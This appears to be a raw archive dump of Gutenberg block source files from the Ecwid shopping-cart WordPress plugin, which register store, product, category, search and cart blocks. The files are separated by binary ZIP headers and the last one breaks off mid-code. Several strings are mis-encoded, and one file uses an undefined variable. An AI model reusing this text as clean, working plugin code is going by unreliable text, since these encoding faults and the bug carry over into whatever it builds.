https://wordpress.org/gutenberg/handbook/block-api/ * @param {string} name Block name. * @param {Object} settings Block settings. * @return {?WPBlock} The block, if it has been successfully * registered; otherwise `undefined`. */ registerBlockType( 'ec-store/categories', { title: __( 'Store Categories Menu', 'ecwid-shopping-cart' ), icon: EcwidIcons.categories, category: 'ec-store', // Block category — Group blocks together based on common traits E.g. common, formatting, layout widgets, embed. description: __( 'Display categories navigation bar', 'ecwid-shopping-cart' ), supports: { customClassName: false, className: false, html: false, isPrivate: !EcwidGutenbergParams.isApiAvailable }, /** * The edit function describes the structure of your block in the context of the editor. * This represents what the editor will render when the block is used. * * The "edit" property must be a valid function. * * @link https://wordpress.org/gutenberg/handbook/block-api/block-edit-save/ */ edit: function( props ) { const { attributes } = props; const editor = <div className="ec-store-block ec-store-block-categories"> <div className="ec-store-block-header"> { EcwidIcons.categories } { __( 'Categories', 'ecwid-shopping-cart' ) } </div> </div>; const message = __( 'The block is hidden because you don\'t have categories in your store. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Add categories.</a>', 'ecwid-shopping-cart' ); return ([ editor, <InspectorControls> <div style={{ height: '10px' }}></div> { !blockParams.has_categories && <div dangerouslySetInnerHTML={{__html: message}}/> } </InspectorControls> ]); }, save: function( props ) { return false; }, } ); }PK������Ê—[,“X&��&��2��ecwid-shopping-cart/js/gutenberg/category-page.jsxnu�„[µü¤��������/** * BLOCK: my-block * * Registering a basic block with Gutenberg. * Simple block, renders and saves the same content without any interactivity. */ // Import CSS. import './style.scss'; import './editor.scss'; import {EcwidIcons} from '../icons.js'; import { EcwidControls, EcwidInspectorSubheader, EcwidProductBrowserBlock } from '../includes/controls.js'; const { __, _x } = wp.i18n; // Import __() from wp.i18n const ecwidIcons = EcwidIcons; const { registerBlockType, } = wp.blocks; const { InspectorControls, } = wp.editor; const { PanelBody, BaseControl, } = wp.components; const blockName = 'ec-store/category-page'; const blockParams = EcwidGutenbergParams.blockParams[blockName]; /** * Register: aa Gutenberg Block. * * Registers a new block provided a unique name and an object defining its * behavior. Once registered, the block is made editor as an option to any * editor interface where blocks are implemented. * * @link https://wordpress.org/gutenberg/handbook/block-api/ * @param {string} name Block name. * @param {Object} settings Block settings. * @return {?WPBlock} The block, if it has been successfully * registered; otherwise `undefined`. */ registerBlockType( 'ec-store/category-page', { title: __( 'Store Category Page', 'ecwid-shopping-cart' ), // Block title. icon: EcwidIcons.category, category: 'ec-store', // Block category — Group blocks together based on common traits E.g. common, formatting, layout widgets, embed. attributes: EcwidGutenbergStoreBlockParams.attributes, description: __( 'Display category page', 'ecwid-shopping-cart' ), supports: { customClassName: false, className: false, html: false, multiple: false }, /** * The edit function describes the structure of your block in the context of the editor. * This represents what the editor will render when the block is used. * * The "edit" property must be a valid function. * * @link https://wordpress.org/gutenberg/handbook/block-api/block-edit-save/ */ edit: function( props ) { const { attributes } = props; // legacy reset props.setAttributes({widgets:''}); const editor = <EcwidProductBrowserBlock icon={ EcwidIcons.category } title={ __( 'Store Category Page', 'ecwid-shopping-cart' ) } showDemoButton={ blockParams.isDemoStore }> <div className="ec-store-category-products"> <div className="ec-store-category-product1"></div> <div className="ec-store-category-product2"></div> <div className="ec-store-category-product3"></div> </div> <div className="ec-store-category-products"> <div className="ec-store-category-product4"></div> <div className="ec-store-category-product5"></div> <div className="ec-store-category-product6"></div> </div> </EcwidProductBrowserBlock>; function buildDangerousHTMLMessageWithTitle( title, message ) { return <BaseControl label={ title }><div dangerouslySetInnerHTML={{ __html: message }} /></BaseControl>; } const productMigrationWarning = buildDangerousHTMLMessageWithTitle( '', __( 'To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).', 'ecwid-shopping-cart' ) ); const cartIconMessage = buildDangerousHTMLMessageWithTitle( __( 'Display cart icon', 'ecwid-shopping-cart' ), blockParams.customizeMinicartText ); const isNewProductList = blockParams.isNewProductList; const isNewDetailsPage = blockParams.isNewDetailsPage; const controls = EcwidControls(blockParams.attributes, props); return ([ editor, <InspectorControls> <div style={{height:"10px"}}></div> { !EcwidGutenbergParams.hasCategories && <div style={{margin:'10px'}}> <a href="admin.php?page=ec-store-admin-category-id-0-mode-edit" target="_blank" class="button button-primary">{ __('Add categories', 'ecwid-shopping-cart') }</a> </div> } { EcwidGutenbergParams.hasCategories && [ !props.attributes.default_category_id && controls.select( 'default_category_id', __( 'Select category', 'ecwid-shopping-cart' ) ), props.attributes.default_category_id && controls.select( 'default_category_id', __( 'Selected category', 'ecwid-shopping-cart' ) ) ] } <PanelBody title={ __('Category List Appearance', 'ecwid-shopping-cart') } initialOpen={false}> { isNewProductList && [ controls.select('product_list_category_title_behavior'), attributes.product_list_category_title_behavior !== 'SHOW_TEXT_ONLY' && [ controls.buttonGroup('product_list_category_image_size'), controls.toolbar('product_list_category_image_aspect_ratio'), ] ] } { !isNewProductList && productMigrationWarning } </PanelBody> <PanelBody title={ __( 'Product List Appearance', 'ecwid-shopping-cart' ) } initialOpen={false}> { isNewProductList && [ controls.toggle( 'product_list_show_product_images' ), attributes.product_list_show_product_images && [ controls.buttonGroup( 'product_list_image_size' ), controls.toolbar( 'product_list_image_aspect_ratio' ) ], controls.toolbar( 'product_list_product_info_layout' ), controls.select( 'product_list_title_behavior' ), controls.select( 'product_list_price_behavior' ), controls.select( 'product_list_sku_behavior' ), controls.select( 'product_list_buybutton_behavior' ), controls.toggle( 'product_list_show_additional_image_on_hover' ), controls.toggle( 'product_list_show_frame' ) ] } { !isNewProductList && productMigrationWarning } </PanelBody> <PanelBody title={ __( 'Product Page Appearance', 'ecwid-shopping-cart' ) } initialOpen={false}> { isNewDetailsPage && [ controls.select('product_details_layout'), ( attributes.product_details_layout === 'TWO_COLUMNS_SIDEBAR_ON_THE_RIGHT' || attributes.product_details_layout === 'TWO_COLUMNS_SIDEBAR_ON_THE_LEFT' ) && controls.toggle('show_description_under_image'), controls.toolbar('product_details_gallery_layout'), EcwidInspectorSubheader( __('Product sidebar content', 'ecwid-shopping-cart') ), controls.toggle('product_details_show_product_name'), controls.toggle('product_details_show_breadcrumbs'), controls.toggle('product_details_show_product_sku'), controls.toggle('product_details_show_product_price'), controls.toggle('product_details_show_qty'), controls.toggle('product_details_show_number_of_items_in_stock'), controls.toggle('product_details_show_in_stock_label'), controls.toggle('product_details_show_wholesale_prices'), controls.toggle('product_details_show_share_buttons'), ] } { !isNewDetailsPage && productDetailsMigrationWarning } </PanelBody> <PanelBody title={ __( 'Store Navigation', 'ecwid-shopping-cart' ) } initialOpen={false}> { controls.toggle( 'show_categories') } { controls.toggle( 'show_search') } { controls.toggle( 'show_breadcrumbs') } { isNewProductList && controls.toggle( 'show_footer_menu' ) } { controls.toggle( 'show_signin_link') } { controls.toggle( 'product_list_show_sort_viewas_options') } { cartIconMessage } </PanelBody> <PanelBody title={ __( 'Color settings', 'ecwid-shopping-cart' ) } initialOpen={false}> { controls.color( 'chameleon_color_button' ) } { controls.color( 'chameleon_color_foreground' ) } { controls.color( 'chameleon_color_price' ) } { controls.color( 'chameleon_color_link' ) } { controls.color( 'chameleon_color_background' ) } </PanelBody> </InspectorControls> ]); }, save: function( props ) { return null; }, } ); PK������Ê—[OüÉ£��£��1��ecwid-shopping-cart/js/gutenberg/filters-page.jsxnu�„[µü¤��������/** * BLOCK: my-block * * Registering a basic block with Gutenberg. * Simple block, renders and saves the same content without any interactivity. */ // Import CSS. import './style.scss'; import './editor.scss'; import {EcwidIcons} from '../icons.js'; import { EcwidControls, EcwidProductBrowserBlock, EcwidImage } from '../includes/controls.js'; const { __, _x } = wp.i18n; const { registerBlockType, } = wp.blocks; const { InspectorControls, } = wp.editor; const { PanelBody, PanelRow, ToggleControl, ButtonGroup, Button, BaseControl, Toolbar, ColorPalette, ColorIndicator } = wp.components; const { withState } = wp.compose; const blockName = 'ec-store/filters-page'; const blockParams = EcwidGutenbergParams.blockParams[blockName]; /** * Register: aa Gutenberg Block. * * Registers a new block provided a unique name and an object defining its * behavior. Once registered, the block is made editor as an option to any * editor interface where blocks are implemented. * * @link https://wordpress.org/gutenberg/handbook/block-api/ * @param {string} name Block name. * @param {Object} settings Block settings. * @return {?WPBlock} The block, if it has been successfully * registered; otherwise `undefined`. */ registerBlockType( 'ec-store/filters-page', { title: __( 'Product Search and filters', 'ecwid-shopping-cart' ), // Block title. icon: EcwidIcons.filters, category: 'ec-store', // Block category — Group blocks together based on common traits E.g. common, formatting, layout widgets, embed. attributes: blockParams.attributes, description: __( 'Display search page with filters on a side', 'ecwid-shopping-cart' ), supports: { customClassName: false, className: false, html: false, multiple: false }, /** * The edit function describes the structure of your block in the context of the editor. * This represents what the editor will render when the block is used. * * The "edit" property must be a valid function. * * @link https://wordpress.org/gutenberg/handbook/block-api/block-edit-save/ */ edit: function( props ) { const { attributes } = props; const editor = <EcwidProductBrowserBlock icon={ EcwidIcons.filters } title={ __( 'Search and Filters', 'ecwid-shopping-cart' ) }> <EcwidImage src="filter-preview.png" /> </EcwidProductBrowserBlock>; /* const editor = <div className="ec-store-block ec-store-block-filters-page"> <div className="ec-store-block-header"> { EcwidIcons.filters } { __( 'Filters Page', 'ecwid-shopping-cart' ) } </div> <div className="image"> </div> { blockParams.isDemoStore && <div> <a className="button button-primary" href="admin.php?page=ec-store">{ __( 'Set up your store', 'ecwid-shopping-cart') }</a> </div> } </div> ;*/ function buildDangerousHTMLMessageWithTitle( title, message ) { return <BaseControl label={ title }><div dangerouslySetInnerHTML={{ __html: message }} /></BaseControl>; } const filtersDisabledMessage = buildDangerousHTMLMessageWithTitle( '', __( 'You can enable filters in the store settings: (“<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Settings → Product Filters</a>â€).', 'ecwid-shopping-cart' ) ); const productMigrationWarning = buildDangerousHTMLMessageWithTitle( '', __( 'To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).', 'ecwid-shopping-cart' ) ); const isNewProductList = blockParams.isNewProductList; const controls = EcwidControls(blockParams.attributes, props); return ([ editor, <InspectorControls> <PanelBody title={ __( 'Filters', 'ecwid-shopping-cart' ) } initialOpen={false}> { !blockParams.filtersEnabled && filtersDisabledMessage } { blockParams.filtersEnabled && [ controls.select( 'product_filters_position_search_page' ) ] } </PanelBody> <PanelBody title={ __( 'Product List Appearance', 'ecwid-shopping-cart' ) } initialOpen={false}> { isNewProductList && [ controls.toggle( 'product_list_show_product_images' ), attributes.product_list_show_product_images && [ controls.buttonGroup( 'product_list_image_size' ), controls.toolbar( 'product_list_image_aspect_ratio' ) ], controls.toolbar( 'product_list_product_info_layout' ), controls.select( 'product_list_title_behavior' ), controls.select( 'product_list_price_behavior' ), controls.select( 'product_list_sku_behavior' ), controls.select( 'product_list_buybutton_behavior' ), controls.toggle( 'product_list_show_additional_image_on_hover' ), controls.toggle( 'product_list_show_frame' ) ] } { !isNewProductList && productMigrationWarning } </PanelBody> <PanelBody title={ __( 'Store Navigation', 'ecwid-shopping-cart' ) } initialOpen={false}> { controls.toggle( 'show_categories') } { controls.toggle( 'show_breadcrumbs') } { isNewProductList && controls.toggle( 'show_footer_menu' ) } { controls.toggle( 'show_signin_link') } { controls.toggle( 'product_list_show_sort_viewas_options') } </PanelBody> <PanelBody title={ __( 'Color settings', 'ecwid-shopping-cart' ) } initialOpen={false}> { controls.color( 'chameleon_color_button' ) } { controls.color( 'chameleon_color_foreground' ) } { controls.color( 'chameleon_color_price' ) } { controls.color( 'chameleon_color_link' ) } { controls.color( 'chameleon_color_background' ) } </PanelBody> </InspectorControls> ]); }, save: function( props ) { return null; } } ); PK������Ê—[ƒs¼c| ��| ��-��ecwid-shopping-cart/js/gutenberg/minicart.jsxnu�„[µü¤��������// Import CSS. import './style.scss'; import './editor.scss'; import {EcwidIcons} from '../icons.js'; if ( !EcwidGutenbergParams.isDemoStore ) { const { __, _x } = wp.i18n; // Import __() from wp.i18n const { InspectorControls } = wp.editor; const { PanelBody, BaseControl, } = wp.components; const { registerBlockType, } = wp.blocks; /** * Register: aa Gutenberg Block. * * Registers a new block provided a unique name and an object defining its * behavior. Once registered, the block is made editor as an option to any * editor interface where blocks are implemented. * * @link https://wordpress.org/gutenberg/handbook/block-api/ * @param {string} name Block name. * @param {Object} settings Block settings. * @return {?WPBlock} The block, if it has been successfully * registered; otherwise `undefined`. */ registerBlockType( 'ec-store/minicart', { title: __( 'Shopping Cart Icon', 'ecwid-shopping-cart' ), icon: EcwidIcons.cart, category: 'ec-store', // Block category — Group blocks together based on common traits E.g. common, formatting, layout widgets, embed. description: __( 'Display shopping bag link and summary', 'ecwid-shopping-cart' ), supports: { customClassName: false, className: false, html: false, isPrivate: !EcwidGutenbergParams.isApiAvailable, align: true, alignWide: false }, attributes: EcwidGutenbergParams.minicartAttributes, /** * The edit function describes the structure of your block in the context of the editor. * This represents what the editor will render when the block is used. * * The "edit" property must be a valid function. * * @link https://wordpress.org/gutenberg/handbook/block-api/block-edit-save/ */ edit: function( props ) { const { attributes } = props; function buildSelect(props, name, label, items) { return <BaseControl label={ label }> <select className="ec-store-inspector-select" onChange={ (event) => { props.setAttributes( { [name]:event.target.value } ) } }> { items.map( function(item) { return <option value={item.value} selected={ props.attributes[name] == item.value }>{item.title}</option> })} </select> </BaseControl>; } function buildItem(props, name, type) { const item = EcwidGutenbergParams.minicartAttributes[name]; if ( typeof type === 'undefined' ) { type = item.type; } return buildSelect( props, item.name, item.title, item.values ); } const editor = <div className="ec-store-block ec-store-block-minicart"> <div className="image"> </div> </div>; return ([ editor, <InspectorControls> <PanelBody title={ __('Appearance', 'ecwid-shopping-cart') } initialOpen={true}> { buildItem(props, 'layout', 'select' ) } { buildItem(props, 'icon', 'select' ) } { buildItem(props, 'fixed_shape', 'select' ) } </PanelBody> </InspectorControls> ]); }, save: function( props ) { return false; }, } ); }PK������Ê—[+ñ�ç~��~��,��ecwid-shopping-cart/js/gutenberg/product.jsxnu�„[µü¤��������/** * BLOCK: my-block * * Registering a basic block with Gutenberg. * Simple block, renders and saves the same content without any interactivity. */ // Import CSS. import './style.scss'; import './editor.scss'; import {EcwidIcons} from '../icons.js'; if ( !EcwidGutenbergParams.isDemoStore ) { const { __, _x } = wp.i18n; // Import __() from wp.i18n const { registerBlockType, } = wp.blocks; const { InspectorControls, } = wp.editor; const { PanelBody, ToggleControl, } = wp.components; const { withState } = wp.compose; const { Fragment } = wp.element; /** * Register: aa Gutenberg Block. * * Registers a new block provided a unique name and an object defining its * behavior. Once registered, the block is made editor as an option to any * editor interface where blocks are implemented. * * @link https://wordpress.org/gutenberg/handbook/block-api/ * @param {string} name Block name. * @param {Object} settings Block settings. * @return {?WPBlock} The block, if it has been successfully * registered; otherwise `undefined`. */ registerBlockType( 'ecwid/product-block', { title: __( 'Product Card Small', 'ecwid-shopping-cart' ), // Block title. icon: EcwidIcons.product, category: 'ec-store', // Block category — Group blocks together based on common traits E.g. common, formatting, layout widgets, embed. attributes: { id: {type: 'integer'}, show_picture: {type: 'boolean', default: true}, show_title: {type: 'boolean', default: true}, show_price: {type: 'boolean', default: true}, show_options: {type: 'boolean', default: true}, show_qty: {type: 'boolean', default: false}, show_addtobag: {type: 'boolean', default: true}, show_price_on_button: {type: 'boolean', default: true}, show_border: {type: 'boolean', default: true}, center_align: {type: 'boolean', default: true} }, description: __( 'Display product with a buy button', 'ecwid-shopping-cart' ), alignWide: false, supports: { customClassName: false, className: false, html: false, align: true, isPrivate: !EcwidGutenbergParams.isApiAvailable }, /** * The edit function describes the structure of your block in the context of the editor. * This represents what the editor will render when the block is used. * * The "edit" property must be a valid function. * * @link https://wordpress.org/gutenberg/handbook/block-api/block-edit-save/ */ edit: function( props ) { const { attributes } = props; const saveCallback = function( params ) { const attributes = { 'id': params.newProps.product.id }; EcwidGutenbergParams.products[params.newProps.product.id] = { name: params.newProps.product.name, imageUrl: params.newProps.product.thumb }; params.originalProps.setAttributes(attributes); } const editor = <div className="ec-store-block ec-store-block-product"> { EcwidGutenbergParams.products && attributes.id && EcwidGutenbergParams.products[attributes.id] && <div className="ec-store-block-image"> <img src={ EcwidGutenbergParams.products[attributes.id].imageUrl }/> </div> } { EcwidGutenbergParams.products && attributes.id && EcwidGutenbergParams.products[attributes.id] && <div className="ec-store-product-title"> { EcwidGutenbergParams.products[attributes.id].name } </div> } { !attributes.id && <div className="ec-store-block-product-preview"> { EcwidIcons.productPreview } </div> } { !attributes.id && <div> <button className="button ec-store-block-button" onClick={ () => { var params = {'saveCallback':saveCallback, 'props': props}; ecwid_open_product_popup( params ); } }>{ EcwidGutenbergParams.chooseProduct }</button> </div> } </div>; function buildToggle(props, name, label) { return <ToggleControl label={ label } checked={ props.attributes[name] } onChange={ () => props.setAttributes( { [name]: ! props.attributes[name] } ) } /> } function openEcwidProductPopup( props ) { ecwid_open_product_popup( { 'saveCallback': saveCallback, 'props': props } ); } return ([ editor, <InspectorControls> { attributes.id && <div> <div className="ec-store-inspector-row"> <label className="ec-store-inspector-subheader">{ __( 'Displayed product', 'ecwid-shopping-cart' ) }</label> </div> <div className="ec-store-inspector-row"> { EcwidGutenbergParams.products && EcwidGutenbergParams.products[attributes.id] && <label>{ EcwidGutenbergParams.products[attributes.id].name }</label> } <button className="button" onClick={ () => openEcwidProductPopup( props ) }>{ __( 'Change', 'ecwid-shopping-cart' ) }</button> </div> </div> } {!attributes.id && <div className="ec-store-inspector-row"> <button className="button" onClick={ () => openEcwidProductPopup( props ) }>{ __( 'Choose product', 'ecwid-shopping-cart' ) }</button> </div> } <PanelBody title={ _x( 'Content', 'gutenberg-product-block', 'ecwid-shopping-cart' ) } initialOpen={false}> { buildToggle( props, 'show_picture', __( 'Picture', 'ecwid-shopping-cart' ) ) } { buildToggle( props, 'show_title', __( 'Title', 'ecwid-shopping-cart' ) ) } { buildToggle( props, 'show_price', __( 'Price', 'ecwid-shopping-cart' ) ) } { buildToggle( props, 'show_options', __( 'Options', 'ecwid-shopping-cart' ) ) } { buildToggle( props, 'show_qty', __( 'Quantity', 'ecwid-shopping-cart' ) ) } { buildToggle( props, 'show_addtobag', __( '«Buy now» button', 'ecwid-shopping-cart' ) ) } </PanelBody> <PanelBody title={ __( 'Appearance', 'ecwid-shopping-cart' ) } initialOpen={false}> { buildToggle( props, 'show_price_on_button', __( 'Show price inside the «Buy now» button', 'ecwid-shopping-cart' ) ) } { buildToggle( props, 'show_border', __( 'Add border', 'ecwid-shopping-cart' ) ) } { buildToggle( props, 'center_align', __( 'Center align on a page', 'ecwid-shopping-cart' ) ) } </PanelBody> </InspectorControls> ]); }, save: function( props ) { return false; }, } ); }PK������Ê—[`ÚÅlG��G��1��ecwid-shopping-cart/js/gutenberg/product-page.jsxnu�„[µü¤��������/** * BLOCK: my-block * * Registering a basic block with Gutenberg. * Simple block, renders and saves the same content without any interactivity. */ // Import CSS. import './style.scss'; import './editor.scss'; import {EcwidIcons} from '../icons.js'; import { EcwidControls, EcwidInspectorSubheader, EcwidProductBrowserBlock, EcwidImage } from '../includes/controls.js'; const { __, _x } = wp.i18n; const { registerBlockType, } = wp.blocks; const { InspectorControls, } = wp.editor; const { PanelBody, BaseControl } = wp.components; const { withState } = wp.compose; const blockName = 'ec-store/product-page'; const blockParams = EcwidGutenbergParams.blockParams[blockName]; /** * Register: aa Gutenberg Block. * * Registers a new block provided a unique name and an object defining its * behavior. Once registered, the block is made editor as an option to any * editor interface where blocks are implemented. * * @link https://wordpress.org/gutenberg/handbook/block-api/ * @param {string} name Block name. * @param {Object} settings Block settings. * @return {?WPBlock} The block, if it has been successfully * registered; otherwise `undefined`. */ registerBlockType( 'ec-store/product-page', { title: __( 'Product Card Large', 'ecwid-shopping-cart' ), icon: EcwidIcons.product, category: 'ec-store', // Block category — Group blocks together based on common traits E.g. common, formatting, layout widgets, embed. attributes: blockParams.attributes, description: __( 'Display product page with description and a buy button', 'ecwid-shopping-cart' ), supports: { customClassName: false, className: false, html: false, multiple: false }, /** * The edit function describes the structure of your block in the context of the editor. * This represents what the editor will render when the block is used. * * The "edit" property must be a valid function. * * @link https://wordpress.org/gutenberg/handbook/block-api/block-edit-save/ */ edit: function( props ) { const { attributes } = props; const saveCallback = function( params ) { const attributes = { 'default_product_id': params.newProps.product.id }; EcwidGutenbergParams.products[params.newProps.product.id] = { name: params.newProps.product.name, imageUrl: params.newProps.product.thumb }; params.originalProps.setAttributes(attributes); }; function openEcwidProductPopup( props ) { ecwid_open_product_popup( { 'saveCallback': saveCallback, 'props': props } ); } const editor = <EcwidProductBrowserBlock icon={ EcwidIcons.product } title={ __( 'Product Card Large', 'ecwid-shopping-cart' ) }> <EcwidImage src="product-page-preview.png" /> { !attributes.default_product_id && <div className="button-container"> <button className="button ec-store-block-button" onClick={ () => { var params = {'saveCallback':saveCallback, 'props': props}; ecwid_open_product_popup( params ); } }>{ EcwidGutenbergParams.chooseProduct }</button> </div> } </EcwidProductBrowserBlock>; function buildDangerousHTMLMessageWithTitle( title, message ) { return <BaseControl label={ title }><div dangerouslySetInnerHTML={{ __html: message }} /></BaseControl>; } const productMigrationWarning = buildDangerousHTMLMessageWithTitle( '', __( 'To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).', 'ecwid-shopping-cart' ) ); const productDetailsMigrationWarning = buildDangerousHTMLMessageWithTitle( '', __( 'To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).', 'ecwid-shopping-cart' ) ); const isNewDetailsPage = blockParams.isNewDetailsPage; const controls = EcwidControls(blockParams.attributes, props); return ([ editor, <InspectorControls> {attributes.default_product_id > 0 && <div> <div className="ec-store-inspector-row"> <label className="ec-store-inspector-subheader">{ __( 'Linked product', 'ecwid-shopping-cart' ) }</label> </div> <div className="ec-store-inspector-row"> { EcwidGutenbergParams.products && EcwidGutenbergParams.products[attributes.default_product_id] && <label>{ EcwidGutenbergParams.products[attributes.default_product_id].name }</label> } <button className="button" onClick={ () => openEcwidProductPopup( props ) }>{ __( 'Change', 'ecwid-shopping-cart' ) }</button> </div> </div> } {!attributes.default_product_id && <div className="ec-store-inspector-row"> <button className="button" onClick={ () => openEcwidProductPopup( props ) }>{ __( 'Choose product', 'ecwid-shopping-cart' ) }</button> </div> } <PanelBody title={ __( 'Appearance', 'ecwid-shopping-cart' ) } initialOpen={false}> { isNewDetailsPage && [ controls.select('product_details_layout'), ( attributes.product_details_layout === 'TWO_COLUMNS_SIDEBAR_ON_THE_RIGHT' || attributes.product_details_layout === 'TWO_COLUMNS_SIDEBAR_ON_THE_LEFT' ) && controls.toggle('show_description_under_image'), controls.toolbar('product_details_gallery_layout'), EcwidInspectorSubheader( __('Product sidebar content', 'ecwid-shopping-cart') ), controls.toggle('product_details_show_product_name'), controls.toggle('product_details_show_breadcrumbs'), controls.toggle('product_details_show_product_sku'), controls.toggle('product_details_show_product_price'), controls.toggle('product_details_show_qty'), controls.toggle('product_details_show_number_of_items_in_stock'), controls.toggle('product_details_show_in_stock_label'), controls.toggle('product_details_show_wholesale_prices'), controls.toggle('product_details_show_share_buttons'), ] } { !isNewDetailsPage && productMigrationWarning } </PanelBody> <PanelBody title={ __( 'Color settings', 'ecwid-shopping-cart' ) } initialOpen={false}> { controls.color( 'chameleon_color_button' ) } { controls.color( 'chameleon_color_foreground' ) } { controls.color( 'chameleon_color_price' ) } { controls.color( 'chameleon_color_link' ) } { controls.color( 'chameleon_color_background' ) } </PanelBody> </InspectorControls> ]); }, save: function( props ) { return null; } } ); PK������Ê—[äêRÑl��l��+��ecwid-shopping-cart/js/gutenberg/search.jsxnu�„[µü¤��������// Import CSS. import './style.scss'; import './editor.scss'; import {EcwidIcons} from '../icons.js'; if ( !EcwidGutenbergParams.isDemoStore ) { const { __, _x } = wp.i18n; // Import __() from wp.i18n const { registerBlockType, } = wp.blocks; /** * Register: aa Gutenberg Block. * * Registers a new block provided a unique name and an object defining its * behavior. Once registered, the block is made editor as an option to any * editor interface where blocks are implemented. * * @link https://wordpress.org/gutenberg/handbook/block-api/ * @param {string} name Block name. * @param {Object} settings Block settings. * @return {?WPBlock} The block, if it has been successfully * registered; otherwise `undefined`. */ registerBlockType( 'ec-store/search', { title: __( 'Product Search Box', 'ecwid-shopping-cart' ), icon: EcwidIcons.search, category: 'ec-store', // Block category — Group blocks together based on common traits E.g. common, formatting, layout widgets, embed. description: __( 'Display search box', 'ecwid-shopping-cart' ), supports: { customClassName: false, className: false, html: false, isPrivate: !EcwidGutenbergParams.isApiAvailable }, /** * The edit function describes the structure of your block in the context of the editor. * This represents what the editor will render when the block is used. * * The "edit" property must be a valid function. * * @link https://wordpress.org/gutenberg/handbook/block-api/block-edit-save/ */ edit: function( props ) { const { attributes } = props; const editor = <div className="ec-store-block ec-store-block-search"> <div class="image"></div> </div>; return ([ editor ]); }, save: function( props ) { return false; }, } ); }PK������Ê—[Cîþ‚×4��×4��*��ecwid-shopping-cart/js/gutenberg/store.jsxnu�„[µü¤��������/** * BLOCK: my-block * * Registering a basic block with Gutenberg. * Simple block, renders and saves the same content without any interactivity. */ // Import CSS. import './style.scss'; import './editor.scss'; import {EcwidIcons} from '../icons.js'; import { EcwidControls, EcwidInspectorSubheader, EcwidProductBrowserBlock } from '../includes/controls.js'; const { __, _x } = wp.i18n; const { registerBlockType, } = wp.blocks; const { InspectorControls, } = wp.editor; const { PanelBody, PanelRow, ToggleControl, ButtonGroup, Button, BaseControl, Toolbar, ColorPalette, ColorIndicator } = wp.components; const { withState } = wp.compose; const blockName = 'ecwid/store-block'; const blockParams = EcwidGutenbergParams.blockParams[blockName]; /** * Register: aa Gutenberg Block. * * Registers a new block provided a unique name and an object defining its * behavior. Once registered, the block is made editor as an option to any * editor interface where blocks are implemented. * * @link https://wordpress.org/gutenberg/handbook/block-api/ * @param {string} name Block name. * @param {Object} settings Block settings. * @return {?WPBlock} The block, if it has been successfully * registered; otherwise `undefined`. */ registerBlockType( 'ecwid/store-block', { title: __( 'Store Home Page', 'ecwid-shopping-cart' ), // Block title. icon: EcwidIcons.store, category: 'ec-store', // Block category — Group blocks together based on common traits E.g. common, formatting, layout widgets, embed. attributes: blockParams.attributes, description: __( 'Add storefront (product listing)', 'ecwid-shopping-cart' ), supports: { customClassName: false, className: false, html: false, multiple: false }, /** * The edit function describes the structure of your block in the context of the editor. * This represents what the editor will render when the block is used. * * The "edit" property must be a valid function. * * @link https://wordpress.org/gutenberg/handbook/block-api/block-edit-save/ */ edit: function( props ) { const { attributes } = props; // legacy reset props.setAttributes({widgets:''}); const editor = <EcwidProductBrowserBlock icon={ EcwidIcons.store } title={ __( 'Store Home Page', 'ecwid-shopping-cart') } showDemoButton={ blockParams.isDemoStore }> <div className="ec-store-products"> <div className="ec-store-product1"></div> <div className="ec-store-product2"></div> <div className="ec-store-product3"></div> </div> <div className="ec-store-products"> <div className="ec-store-product4"></div> <div className="ec-store-product5"></div> <div className="ec-store-product6"></div> </div> </EcwidProductBrowserBlock>; function buildDangerousHTMLMessageWithTitle( title, message ) { return <BaseControl label={ title }><div dangerouslySetInnerHTML={{ __html: message }} /></BaseControl>; } const productMigrationWarning = buildDangerousHTMLMessageWithTitle( '', __( 'To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).', 'ecwid-shopping-cart' ) ); const cartIconMessage = buildDangerousHTMLMessageWithTitle( __( 'Display cart icon', 'ecwid-shopping-cart' ), blockParams.customizeMinicartText ); const productDetailsMigrationWarning = buildDangerousHTMLMessageWithTitle( '', __( 'To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).', 'ecwid-shopping-cart' ) ); const isNewProductList = blockParams.isNewProductList; const isNewDetailsPage = blockParams.isNewDetailsPage; const hasCategories = blockParams.attributes.default_category_id && blockParams.attributes.default_category_id.values && blockParams.attributes.default_category_id.values.length > 0; const controls = EcwidControls(blockParams.attributes, props); return ([ editor, <InspectorControls> { hasCategories && <PanelBody title={ __('Category List Appearance', 'ecwid-shopping-cart') } initialOpen={false}> { isNewProductList && [ controls.select('product_list_category_title_behavior'), attributes.product_list_category_title_behavior !== 'SHOW_TEXT_ONLY' && [ controls.buttonGroup('product_list_category_image_size'), controls.toolbar('product_list_category_image_aspect_ratio'), ] ] } { !isNewProductList && productMigrationWarning } </PanelBody> } <PanelBody title={ __( 'Product List Appearance', 'ecwid-shopping-cart' ) } initialOpen={false}> { isNewProductList && [ controls.toggle( 'product_list_show_product_images' ), attributes.product_list_show_product_images && [ controls.buttonGroup( 'product_list_image_size' ), controls.toolbar( 'product_list_image_aspect_ratio' ) ], controls.toolbar( 'product_list_product_info_layout' ), controls.select( 'product_list_title_behavior' ), controls.select( 'product_list_price_behavior' ), controls.select( 'product_list_sku_behavior' ), controls.select( 'product_list_buybutton_behavior' ), controls.toggle( 'product_list_show_additional_image_on_hover' ), controls.toggle( 'product_list_show_frame' ) ] } { !isNewProductList && productMigrationWarning } </PanelBody> <PanelBody title={ __( 'Product Page Appearance', 'ecwid-shopping-cart' ) } initialOpen={false}> { isNewDetailsPage && [ 